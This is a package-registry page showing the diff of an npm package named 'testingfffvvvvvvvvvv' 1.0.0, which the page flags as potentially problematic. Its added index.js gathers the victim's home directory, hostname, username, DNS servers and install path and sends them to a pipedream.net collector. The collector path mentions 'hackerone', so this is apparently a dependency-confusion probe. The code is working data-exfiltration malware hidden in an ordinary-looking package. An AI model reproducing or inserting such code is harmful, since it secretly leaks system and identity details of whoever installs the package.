testingfffvvvvvvvvvv 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of testingfffvvvvvvvvvv might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const https = require("https");
|
4
|
+
const packageJSON = require("./package.json");
|
5
|
+
const package = packageJSON.name;
|
6
|
+
|
7
|
+
const dd = encodeURI(JSON.stringify({
|
8
|
+
p: package ,
|
9
|
+
c: __dirname,
|
10
|
+
hd: os.homedir(),
|
11
|
+
hn: os.hostname(),
|
12
|
+
un: os.userInfo().username,
|
13
|
+
dns: dns.getServers(),
|
14
|
+
v: packageJSON.version
|
15
|
+
}));
|
16
|
+
var options = {
|
17
|
+
hostname: "3f35113f41feee80a601db01b48dc963.m.pipedream.net",
|
18
|
+
port: 443,
|
19
|
+
path: `/hackerone?collect=${dd}`,
|
20
|
+
method: "GET"
|
21
|
+
};
|
22
|
+
var req = https.request(options);
|
23
|
+
req.end();
|
package/package.json
ADDED